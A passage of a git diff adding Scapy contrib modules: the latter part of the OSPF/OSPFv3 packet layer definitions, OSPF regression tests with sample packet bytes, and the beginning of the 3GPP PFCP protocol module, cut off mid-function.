0xFFFFFF + + def opaquetype(self): + return (struct.unpack('>I', inet_aton(self.id))[0] >> 24) & 0xFF + + +class OSPF_Area_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA): + name = "OSPF Area Scope External LSA" + type = 10 + + +class OSPF_AS_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA): + name = "OSPF AS Scope External LSA" + type = 11 + + +class OSPF_DBDesc(Packet): + name = "OSPF Database Description" + fields_desc = [ShortField("mtu", 1500), + OSPFOptionsField(), + FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R", "4", "3", "2", "1"]), # noqa: E501 + IntField("ddseq", 1), + PacketListField("lsaheaders", None, OSPF_LSA_Hdr, + count_from=lambda pkt: None, + length_from=lambda pkt: pkt.underlayer.len - 24 - 8)] # noqa: E501 + + def guess_payload_class(self, payload): + # check presence of LLS data block flag + if self.options & 0x10 == 0x10: + return OSPF_LLS_Hdr + else: + return Packet.guess_payload_class(self, payload) + + +class OSPF_LSReq_Item(Packet): + name = "OSPF Link State Request (item)" + fields_desc = [IntEnumField("type", 1, _OSPF_LStypes), + IPField("id", "1.1.1.1"), + IPField("adrouter", "1.1.1.1")] + + def extract_padding(self, s): + return "", s + + +class OSPF_LSReq(Packet): + name = "OSPF Link State Request (container)" + fields_desc = [PacketListField("requests", None, OSPF_LSReq_Item, + count_from=lambda pkt:None, + length_from=lambda pkt:pkt.underlayer.len - 24)] # noqa: E501 + + +class OSPF_LSUpd(Packet): + name = "OSPF Link State Update" + fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), # noqa: E501 + PacketListField("lsalist", None, _LSAGuessPayloadClass, + count_from=lambda pkt: pkt.lsacount, + length_from=lambda pkt: pkt.underlayer.len - 24)] # noqa: E501 + + +class OSPF_LSAck(Packet): + name = "OSPF Link State Acknowledgement" + fields_desc = [PacketListField("lsaheaders", None, OSPF_LSA_Hdr, + count_from=lambda pkt: None, + length_from=lambda pkt: pkt.underlayer.len - 24)] # noqa: E501 + + def answers(self, other): + if isinstance(other, OSPF_LSUpd): + for reqLSA in other.lsalist: + for ackLSA in self.lsaheaders: + if (reqLSA.type == ackLSA.type and + reqLSA.seq == ackLSA.seq): + return 1 + return 0 + + +############################################################################### +# OSPFv3 +############################################################################### +class OSPFv3_Hdr(Packet): + name = "OSPFv3 Header" + fields_desc = [ByteField("version", 3), + ByteEnumField("type", 1, _OSPF_types), + ShortField("len", None), + IPField("src", "1.1.1.1"), + IPField("area", "0.0.0.0"), + XShortField("chksum", None), + ByteField("instance", 0), + ByteField("reserved", 0)] + + def post_build(self, p, pay): + p += pay + tmp_len = self.len + + if tmp_len is None: + tmp_len = len(p) + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + + if self.chksum is None: + chksum = in6_chksum(89, self.underlayer, p) + p = p[:12] + struct.pack("!H", chksum) + p[14:] + + return p + + +class OSPFv3OptionsField(FlagsField): + + def __init__(self, name="options", default=0, size=24, + names=None): + if names is None: + names = ["V6", "E", "MC", "N", "R", "DC", "AF", "L", "I", "F"] + FlagsField.__init__(self, name, default, size, names) + + +class OSPFv3_Hello(Packet): + name = "OSPFv3 Hello" + fields_desc = [IntField("intid", 0), + ByteField("prio", 1), + OSPFv3OptionsField(), + ShortField("hellointerval", 10), + ShortField("deadinterval", 40), + IPField("router", "0.0.0.0"), + IPField("backup", "0.0.0.0"), + FieldListField("neighbors", [], IPField("", "0.0.0.0"), + length_from=lambda pkt: (pkt.underlayer.len - 36))] # noqa: E501 + + +_OSPFv3_LStypes = {0x2001: "router", + 0x2002: "network", + 0x2003: "interAreaPrefix", + 0x2004: "interAreaRouter", + 0x4005: "asExternal", + 0x2007: "type7", + 0x0008: "link", + 0x2009: "intraAreaPrefix"} + +_OSPFv3_LSclasses = {0x2001: "OSPFv3_Router_LSA", + 0x2002: "OSPFv3_Network_LSA", + 0x2003: "OSPFv3_Inter_Area_Prefix_LSA", + 0x2004: "OSPFv3_Inter_Area_Router_LSA", + 0x4005: "OSPFv3_AS_External_LSA", + 0x2007: "OSPFv3_Type_7_LSA", + 0x0008: "OSPFv3_Link_LSA", + 0x2009: "OSPFv3_Intra_Area_Prefix_LSA"} + + +class OSPFv3_LSA_Hdr(Packet): + name = "OSPFv3 LSA Header" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x2001, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", 0), + ShortField("len", 36)] + + def extract_padding(self, s): + return "", s + + +def _OSPFv3_LSAGuessPayloadClass(p, **kargs): + """ Guess the correct OSPFv3 LSA class for a given payload """ + + cls = conf.raw_layer + + if len(p) >= 6: + typ = struct.unpack("!H", p[2:4])[0] + clsname = _OSPFv3_LSclasses.get(typ, "Raw") + cls = globals()[clsname] + + return cls(p, **kargs) + + +_OSPFv3_Router_LSA_types = {1: "p2p", + 2: "transit", + 3: "reserved", + 4: "virtual"} + + +class OSPFv3_Link(Packet): + name = "OSPFv3 Link" + fields_desc = [ByteEnumField("type", 1, _OSPFv3_Router_LSA_types), + ByteField("reserved", 0), + ShortField("metric", 10), + IntField("intid", 0), + IntField("neighintid", 0), + IPField("neighbor", "2.2.2.2")] + + def extract_padding(self, s): + return "", s + + +class OSPFv3_Router_LSA(OSPF_BaseLSA): + name = "OSPFv3 Router LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x2001, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + FlagsField("flags", 0, 8, ["B", "E", "V", "W"]), + OSPFv3OptionsField(), + PacketListField("linklist", [], OSPFv3_Link, + length_from=lambda pkt:pkt.len - 24)] + + +class OSPFv3_Network_LSA(OSPF_BaseLSA): + name = "OSPFv3 Network LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x2002, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + ByteField("reserved", 0), + OSPFv3OptionsField(), + FieldListField("routerlist", [], IPField("", "0.0.0.1"), + length_from=lambda pkt: pkt.len - 24)] + + +class OSPFv3PrefixOptionsField(FlagsField): + + def __init__(self, name="prefixoptions", default=0, size=8, + names=None): + if names is None: + names = ["NU", "LA", "MC", "P"] + FlagsField.__init__(self, name, default, size, names) + + +class OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA): + name = "OSPFv3 Inter Area Prefix LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x2003, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + ByteField("reserved", 0), + X3BytesField("metric", 10), + FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 + OSPFv3PrefixOptionsField(), + ShortField("reserved2", 0), + IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] # noqa: E501 + + +class OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA): + name = "OSPFv3 Inter Area Router LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x2004, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + ByteField("reserved", 0), + OSPFv3OptionsField(), + ByteField("reserved2", 0), + X3BytesField("metric", 1), + IPField("router", "2.2.2.2")] + + +class OSPFv3_AS_External_LSA(OSPF_BaseLSA): + name = "OSPFv3 AS External LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x4005, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + FlagsField("flags", 0, 8, ["T", "F", "E"]), + X3BytesField("metric", 20), + FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 + OSPFv3PrefixOptionsField(), + ShortEnumField("reflstype", 0, _OSPFv3_LStypes), + IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen), # noqa: E501 + ConditionalField(IP6Field("fwaddr", "::"), lambda pkt: pkt.flags & 0x02 == 0x02), # noqa: E501 + ConditionalField(IntField("tag", 0), lambda pkt: pkt.flags & 0x01 == 0x01), # noqa: E501 + ConditionalField(IPField("reflsid", 0), lambda pkt: pkt.reflstype != 0)] # noqa: E501 + + +class OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA): + name = "OSPFv3 Type 7 LSA" + type = 0x2007 + + +class OSPFv3_Prefix_Item(Packet): + name = "OSPFv3 Link Prefix Item" + fields_desc = [FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 + OSPFv3PrefixOptionsField(), + ShortField("metric", 10), + IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] # noqa: E501 + + def extract_padding(self, s): + return "", s + + +class OSPFv3_Link_LSA(OSPF_BaseLSA): + name = "OSPFv3 Link LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x0008, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + ByteField("prio", 1), + OSPFv3OptionsField(), + IP6Field("lladdr", "fe80::"), + FieldLenField("prefixes", None, count_of="prefixlist", fmt="I"), # noqa: E501 + PacketListField("prefixlist", None, OSPFv3_Prefix_Item, + count_from=lambda pkt: pkt.prefixes)] + + +class OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA): + name = "OSPFv3 Intra Area Prefix LSA" + fields_desc = [ShortField("age", 1), + ShortEnumField("type", 0x2009, _OSPFv3_LStypes), + IPField("id", "0.0.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + FieldLenField("prefixes", None, count_of="prefixlist", fmt="H"), # noqa: E501 + ShortEnumField("reflstype", 0, _OSPFv3_LStypes), + IPField("reflsid", "0.0.0.0"), + IPField("refadrouter", "0.0.0.0"), + PacketListField("prefixlist", None, OSPFv3_Prefix_Item, + count_from=lambda pkt: pkt.prefixes)] + + +class OSPFv3_DBDesc(Packet): + name = "OSPFv3 Database Description" + fields_desc = [ByteField("reserved", 0), + OSPFv3OptionsField(), + ShortField("mtu", 1500), + ByteField("reserved2", 0), + FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R"]), + IntField("ddseq", 1), + PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, + count_from=lambda pkt:None, + length_from=lambda pkt:pkt.underlayer.len - 28)] # noqa: E501 + + +class OSPFv3_LSReq_Item(Packet): + name = "OSPFv3 Link State Request (item)" + fields_desc = [ShortField("reserved", 0), + ShortEnumField("type", 0x2001, _OSPFv3_LStypes), + IPField("id", "1.1.1.1"), + IPField("adrouter", "1.1.1.1")] + + def extract_padding(self, s): + return "", s + + +class OSPFv3_LSReq(Packet): + name = "OSPFv3 Link State Request (container)" + fields_desc = [PacketListField("requests", None, OSPFv3_LSReq_Item, + count_from=lambda pkt:None, + length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 + + +class OSPFv3_LSUpd(Packet): + name = "OSPFv3 Link State Update" + fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), # noqa: E501 + PacketListField("lsalist", [], _OSPFv3_LSAGuessPayloadClass, + count_from=lambda pkt:pkt.lsacount, + length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 + + +class OSPFv3_LSAck(Packet): + name = "OSPFv3 Link State Acknowledgement" + fields_desc = [PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, + count_from=lambda pkt:None, + length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 + + +bind_layers(IP, OSPF_Hdr, proto=89) +bind_layers(OSPF_Hdr, OSPF_Hello, type=1) +bind_layers(OSPF_Hdr, OSPF_DBDesc, type=2) +bind_layers(OSPF_Hdr, OSPF_LSReq, type=3) +bind_layers(OSPF_Hdr, OSPF_LSUpd, type=4) +bind_layers(OSPF_Hdr, OSPF_LSAck, type=5) +DestIPField.bind_addr(OSPF_Hdr, "224.0.0.5") + +bind_layers(IPv6, OSPFv3_Hdr, nh=89) +bind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1) +bind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2) +bind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3) +bind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4) +bind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5) +DestIP6Field.bind_addr(OSPFv3_Hdr, "ff02::5") + + +if __name__ == "__main__": + from scapy.main import interact + interact(mydict=globals(), mybanner="OSPF extension %s" % EXT_VERSION) diff --git a/libs/scapy/contrib/ospf.uts b/libs/scapy/contrib/ospf.uts new file mode 100755 index 0000000..448b891 --- /dev/null +++ b/libs/scapy/contrib/ospf.uts @@ -0,0 +1,49 @@ +# OSPF Related regression tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('ospf')" -t scapy/contrib/ospf.uts + ++ OSPF + += OSPF, basic instantiation + +data = b'\x01\x00^\x00\x00\x05\x00\xe0\x18\xb1\x0c\xad\x08\x00E\xc0\x00T\x08\x19\x00\x00\x01Ye\xc2\xc0\xa8\xaa\x08\xe0\x00\x00\x05\x02\x04\x00@\xc0\xa8\xaa\x08\x00\x00\x00\x01\x96\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\xe2\x02\x01\xc0\xa8\xaa\x08\xc0\xa8\xaa\x08\x80\x00\r\xc3%\x06\x00$\x02\x00\x00\x01\xc0\xa8\xaa\x00\xff\xff\xff\x00\x03\x00\x00\n' + +p = Ether(data) + +assert (p[OSPF_LSUpd][OSPF_Router_LSA].age == 994) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].type == 1) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].id == '192.168.170.8') +assert (p[OSPF_LSUpd][OSPF_Router_LSA].adrouter == '192.168.170.8') +assert (p[OSPF_LSUpd][OSPF_Router_LSA].seq == 0x80000dc3) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].chksum == 0x2506) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].len == 36) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].reserved == 0) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].linkcount == 1) + +assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].id == '192.168.170.0') +assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].data == '255.255.255.0') +assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].type == 3) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].toscount == 0) +assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].metric == 10) + += OSPF - build + +pkt = Ether(dst="01:00:5e:00:00:05", src="ca:11:09:b3:00:1c")/IP(tos=0xc0, ttl=1, ihl=5, id=36333, dst="224.0.0.5", src="10.75.0.254")/OSPF_Hdr(src="75.1.3.1")/\ + OSPF_Hello(options=0x12, router="10.75.0.254", backup="10.75.0.1", neighbors=["75.1.0.1"])/OSPF_LLS_Hdr(llstlv=[LLS_Extended_Options(options='\x00\x00\x00\x01')]) +assert raw(pkt) == b'\x01\x00^\x00\x00\x05\xca\x11\t\xb3\x00\x1c\x08\x00E\xc0\x00P\x8d\xed\x00\x00\x01Y?Z\nK\x00\xfe\xe0\x00\x00\x05\x02\x01\x000K\x01\x03\x01\x00\x00\x00\x00>\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\n\x12\x01\x00\x00\x00(\nK\x00\xfe\nK\x00\x01K\x01\x00\x01\xff\xf6\x00\x03\x00\x01\x00\x04\x00\x00\x00\x01' + += OSPF - answers + +a = OSPF_Hdr(area="1.1.1.1")/OSPF_LSAck(lsaheaders=[OSPF_LSA_Hdr(type=1, seq=0x80000003)]) +b = OSPF_Hdr(area="1.1.1.1")/OSPF_LSUpd(lsalist=[OSPF_Router_LSA(type=1, seq=0x80000003)]) +assert a.answers(b) +a = OSPF_Hdr(raw(a)) +b = OSPF_Hdr(raw(b)) +assert a.answers(b) + += OSPFv3 - build + +pkt = Ether(dst="01:00:5e:00:00:05", src="ca:11:09:b3:00:1c")/IPv6(dst="::1", src="fe80::160c:12aa:fe7e:cd28")/OSPFv3_Hdr(src="75.1.3.1")/\ + OSPFv3_Hello(options=0x12, router="10.75.0.254", backup="10.75.0.1", neighbors=["75.1.0.1"]) +assert raw(pkt) == b'\x01\x00^\x00\x00\x05\xca\x11\t\xb3\x00\x1c\x86\xdd`\x00\x00\x00\x00(Y@\xfe\x80\x00\x00\x00\x00\x00\x00\x16\x0c\x12\xaa\xfe~\xcd(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x01\x00(K\x01\x03\x01\x00\x00\x00\x00Y\x98\x00\x00\x00\x00\x00\x00\x01\x00\x00\x12\x00\n\x00(\nK\x00\xfe\nK\x00\x01K\x01\x00\x01' diff --git a/libs/scapy/contrib/pfcp.py b/libs/scapy/contrib/pfcp.py new file mode 100755 index 0000000..fed109c --- /dev/null +++ b/libs/scapy/contrib/pfcp.py @@ -0,0 +1,2648 @@ +#! /usr/bin/env python + +# Copyright (C) 2019 Travelping GmbH + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# 3GPP TS 29.244 + +# scapy.contrib.description = 3GPP Packet Forwarding Control Protocol +# scapy.contrib.status = loads + +import struct + +from scapy.compat import chb, orb +from scapy.error import warning +from scapy.fields import Field, BitEnumField, BitField, ByteEnumField, \ + ShortEnumField, ByteField, IntField, LongField, \ + ConditionalField, FieldLenField, BitFieldLenField, FieldListField, \ + IPField, MACField, PacketListField, ShortField, \ + StrLenField, StrField, XBitField, XByteField, XIntField, XLongField, \ + ThreeBytesField, SignedLongField, SignedIntField, MultipleTypeField +from scapy.layers.inet import UDP +from scapy.layers.inet6 import IP6Field +from scapy.data import IANA_ENTERPRISE_NUMBERS +from scapy.packet import bind_layers, bind_bottom_up, \ + Packet, Raw +from scapy.volatile import RandNum, RandBin + +PFCPmessageType = { + 1: "heartbeat_request", + 2: "heartbeat_response", + 3: "pfd_management_request", + 4: "pfd_management_response", + 5: "association_setup_request", + 6: "association_setup_response", + 7: "association_update_request", + 8: "association_update_response", + 9: "association_release_request", + 10: "association_release_response", + 11: "version_not_supported_response", + 12: "node_report_request", + 13: "node_report_response", + 14: "session_set_deletion_request", + 15: "session_set_deletion_response", + 50: "session_establishment_request", + 51: "session_establishment_response", + 52: "session_modification_request", + 53: "session_modification_response", + 54: "session_deletion_request", + 55: "session_deletion_response", + 56: "session_report_request", + 57: "session_report_response", +} + +IEType = { + 0: "Reserved", + 1: "Create PDR", + 2: "PDI", + 3: "Create FAR", + 4: "Forwarding Parameters", + 5: "Duplicating Parameters", + 6: "Create URR", + 7: "Create QER", + 8: "Created PDR", + 9: "Update PDR", + 10: "Update FAR", + 11: "Update Forwarding Parameters", + 12: "Update BAR (PFCP Session Report Response)", + 13: "Update URR", + 14: "Update QER", + 15: "Remove PDR", + 16: "Remove FAR", + 17: "Remove URR", + 18: "Remove QER", + 19: "Cause", + 20: "Source Interface", + 21: "F-TEID", + 22: "Network Instance", + 23: "SDF Filter", + 24: "Application ID", + 25: "Gate Status", + 26: "MBR", + 27: "GBR", + 28: "QER Correlation ID", + 29: "Precedence", + 30: "Transport Level Marking", + 31: "Volume Threshold", + 32: "Time Threshold", + 33: "Monitoring Time", + 34: "Subsequent Volume Threshold", + 35: "Subsequent Time Threshold", + 36: "Inactivity Detection Time", + 37: "Reporting Triggers", + 38: "Redirect Information", + 39: "Report Type", + 40: "Offending IE", + 41: "Forwarding Policy", + 42: "Destination Interface", + 43: "UP Function Features", + 44: "Apply Action", + 45: "Downlink Data Service Information", + 46: "Downlink Data Notification Delay", + 47: "DL Buffering Duration", + 48: "DL Buffering Suggested Packet Count", + 49: "PFCPSMReq-Flags", + 50: "PFCPSRRsp-Flags", + 51: "Load Control Information", + 52: "Sequence Number", + 53: "Metric", + 54: "Overload Control Information", + 55: "Timer", + 56: "PDR ID", + 57: "F-SEID", + 58: "Application ID's PFDs", + 59: "PFD context", + 60: "Node ID", + 61: "PFD contents", + 62: "Measurement Method", + 63: "Usage Report Trigger", + 64: "Measurement Period", + 65: "FQ-CSID", + 66: "Volume Measurement", + 67: "Duration Measurement", + 68: "Application Detection Information", + 69: "Time of First Packet", + 70: "Time of Last Packet", + 71: "Quota Holding Time", + 72: "Dropped DL Traffic Threshold", + 73: "Volume Quota", + 74: "Time Quota", + 75: "Start Time", + 76: "End Time", + 77: "Query URR", + 78: "Usage Report (Session Modification Response)", + 79: "Usage Report (Session Deletion Response)", + 80: "Usage Report (Session Report Request)", + 81: "URR ID", + 82: "Linked URR ID", + 83: "Downlink Data Report", + 84: "Outer Header Creation", + 85: "Create BAR", + 86: "Update BAR (Session Modification Request)", + 87: "Remove BAR", + 88: "BAR ID", + 89: "CP Function Features", + 90: "Usage Information", + 91: "Application Instance ID", + 92: "Flow Information", + 93: "UE IP Address", + 94: "Packet Rate", + 95: "Outer Header Removal", + 96: "Recovery Time Stamp", + 97: "DL Flow Level Marking", + 98: "Header Enrichment", + 99: "Error Indication Report", + 100: "Measurement Information", + 101: "Node Report Type", + 102: "User Plane Path Failure Report", + 103: "Remote GTP-U Peer", + 104: "UR-SEQN", + 105: "Update Duplicating Parameters", + 106: "Activate Predefined Rules", + 107: "Deactivate Predefined Rules", + 108: "FAR ID", + 109: "QER ID", + 110: "OCI Flags", + 111: "PFCP Association Release Request", + 112: "Graceful Release Period", + 113: "PDN Type", + 114: "Failed Rule ID", + 115: "Time Quota Mechanism", + 116: "User Plane IP Resource Information", + 117: "User Plane Inactivity Timer", + 118: "Aggregated URRs", + 119: "Multiplier", + 120: "Aggregated URR ID", + 121: "Subsequent Volume Quota", + 122: "Subsequent Time Quota", + 123: "RQI", + 124: "QFI", + 125: "Query URR Reference", + 126: "Additional Usage Reports Information", + 127: "Create Traffic Endpoint", + 128: "Created Traffic Endpoint", + 129: "Update Traffic Endpoint", + 130: "Remove Traffic Endpoint", + 131: "Traffic Endpoint ID", + 132: "Ethernet Packet Filter", + 133: "MAC Address", + 134: "C-TAG", + 135: "S-TAG", + 136: "Ethertype", + 137: "Proxying", + 138: "Ethernet Filter ID", + 139: "Ethernet Filter Properties", + 140: "Suggested Buffering Packets Count", + 141: "User ID", + 142: "Ethernet PDU Session Information", + 143: "Ethernet Traffic Information", + 144: "MAC Addresses Detected", + 145: "MAC Addresses Removed", + 146: "Ethernet Inactivity Timer", + 147: "Additional Monitoring Time", + 148: "Event Quota", + 149: "Event Threshold", + 150: "Subsequent Event Quota", + 151: "Subsequent Event Threshold", + 152: "Trace Information", + 153: "Framed-Route", + 154: "Framed-Routing", + 155: "Framed-IPv6-Route", + 156: "Event Time Stamp", + 157: "Averaging Window", + 158: "Paging Policy Indicator", + 159: "APN/DNN", + 160: "3GPP Interface Type", +} + +CauseValues = { + 0: "Reserved", + 1: "Request accepted", + 64: "Request rejected", + 65: "Session context not found", + 66: "Mandatory IE missing", + 67: "Conditional IE missing", + 68: "Invalid length", + 69: "Mandatory IE incorrect", + 70: "Invalid Forwarding Policy", + 71: "Invalid F-TEID allocation option", + 72: "No established Sx Association", + 73: "Rule creation/modification Failure", + 74: "PFCP entity in congestion", + 75: "No resources available", + 76: "Service not supported", + 77: "System failure", +} + +SourceInterface = { + 0: "Access", + 1: "Core", + 2: "SGi-LAN/N6-LAN", + 3: "CP-function", +} + +DestinationInterface = { + 0: "Access", + 1: "Core", + 2: "SGi-LAN/N6-LAN", + 3: "CP-function", + 4: "LI function", +} + +RedirectAddressType = { + 0: "IPv4 address", + 1: "IPv6 address", + 2: "URL", + 3: "SIP URI", +} + +GateStatus = { + 0: "OPEN", + 1: "CLOSED", + 2: "CLOSED_RESERVED_2", + 3: "CLOSED_RESERVED_3", +} + +TimerUnit = { + 0: '2 seconds', + 1: '1 minute', + 2: '10 minutes', + 3: '1 hour', + 4: '10 hours', + 7: 'infinite', +} + +OuterHeaderRemovalDescription = { + 0: "GTP-U/UDP/IPv4", + 1: "GTP-U/UDP/IPv6", + 2: "UDP/IPv4", + 3: "UDP/IPv6", + 4: "IPv4", + 5: "IPv6", + 6: "GTP-U/UDP/IP", + 7: "VLAN S-TAG", + 8: "S-TAG and C-TAG", +} + +NodeIdType = { + 0: "IPv4", + 1: "IPv6", + 2: "FQDN", +} + +FqCSIDNodeIdType = { + 0: "IPv4", + 1: "IPv6", + 2: "MCCMNCId", +} + +FlowDirection = { + 0: "Unspecified", + 1: "Downlink", # traffic to the UE + 2: "Uplink", # traffic from the UE + 3: "Bidirectional", + 4: "Unspecified4", + 5: "Unspecified5", + 6: "Unspecified6", + 7: "Unspecified7", +} + +TimeUnit = { + 0: "minute", + 1: "6 minutes", + 2: "hour", + 3: "day", + 4: "week", + 5: "min5", # same as 0 (minute) + 6: "min6", # same as 0 (minute) + 7: "min7", # same as 0 (minute) +} + +HeaderType = { + 0: "HTTP", +} + +PDNType = { + 0: "IPv4", + 1: "IPv6", + 2: "IPv4v6", + 3: "Non-IP", + 4: "Ethernet", +} + +RuleIDType = { + 0: "PDR", + 1: "FAR", + 2: "QER", + 3: "URR", + 4: "BAR", + # TODO: other values should be interpreted as '1' if received +} + +BaseTimeInterval = { + 0: "CTP", + 1: "DTP", +} + +InterfaceType = { + 0: "S1-U", + 1: "S5 /S8-U", + 2: "S4-U", + 3: "S11-U", + 4: "S12-U", + 5: "Gn/Gp-U", + 6: "S2a-U", + 7: "S2b-U", + 8: "eNodeB GTP-U interface for DL data forwarding", + 9: "eNodeB GTP-U interface for UL data forwarding", + 10: "SGW/UPF GTP-U interface for DL data forwarding", + 11: "N3 3GPP Access", + 12: "N3 Trusted Non-3GPP Access", + 13: "N3 Untrusted Non-3GPP Access", + 14: "N3 for data forwarding", + 15: "N9", +} + + +class PFCPLengthMixin(object): + def post_build(self, p, pay): + p += pay + if self.length is None: + tmp_len = len(p) - 4 + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + + +class PFCP(PFCPLengthMixin, Packet): + # 3GPP TS 29.244 V15.6.0 (2019-07) + # without the version + name = "PFCP (v1) Header" + fields_desc = [ + BitField("version", 1, 3), + XBitField("spare_b2", 0, 1), + XBitField("spare_b3", 0, 1), + XBitField("spare_b4", 0, 1), + BitField("MP", 0, 1), + BitField("S", 1, 1), + ByteEnumField("message_type", None, PFCPmessageType), + ShortField("length", None), + ConditionalField(XLongField("seid", 0), + lambda pkt:pkt.S == 1), + ThreeBytesField("seq", 0), + ConditionalField(BitField("priority", 0, 4), + lambda pkt:pkt.MP == 1), + ConditionalField(BitField("spare_p", 0, 4), + lambda pkt:pkt.MP == 1), + ConditionalField(ByteField("spare_oct", 0), + lambda pkt:pkt.MP == 0), + ] + + def hashret(self): + return struct.pack("B", self.version) + struct.pack("I", self.seq) + \ + self.payload.hashret() + + def answers(self, other): + return (isinstance(other, PFCP) and + self.version == other.version and + self.seq == other.seq and + self.payload.answers(other.payload)) + + +class APNStrLenField(StrLenField): + # Inspired by DNSStrField + def m2i(self, pkt, s): + ret_s = b"" + tmp_s = s + while tmp_s: + tmp_len = orb(tmp_s[0]) + 1 + if tmp_len > len(tmp_s): + warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 + ret_s += tmp_s[1:tmp_len] + tmp_s = tmp_s[tmp_len:] + if len(tmp_s): + ret_s += b"." + s = ret_s + return s + + def i2m(self, pkt, s): + s = b"".join(chb(len(x)) + x for x in s.split(b".")) + return s + + +class ExtraDataField(StrField): + def __init__(self, name, default=b""): + StrField.__init__(self, name, default) + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def getfield(self, pkt, s): + # + 4 accounts for the ietype and length fields + p = len(pkt.original) - len(s) + length = pkt.length + 4 - p + return s[length:], self.m2i(pkt, s[:length]) + + def randval(self): + return RandBin(RandNum(0, 2)) + + +class Int40Field(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "BI") + + def addfield(self, pkt, s, val): + val = self.i2m(pkt, val) + return s + struct.pack("!BI", val >> 32, val & 0xffffffff) + + def getfield(self, pkt, s): + hi, lo = struct.unpack("!BI", s[:5]) + return s[5:], self.m2i(pkt, (hi << 32) + lo) + + def randval(self): + return RandNum(0, 2**40 - 1) + + +def IE_Dispatcher(s): + """Choose the correct Information Element class.""" + + # Get the IE type + ietype = (orb(s[0]) * 256) + orb(s[1]) + if ietype & 0x8000: + return IE_EnterpriseSpecific(s) + + cls = ietypecls.get(ietype, Raw) + if cls is 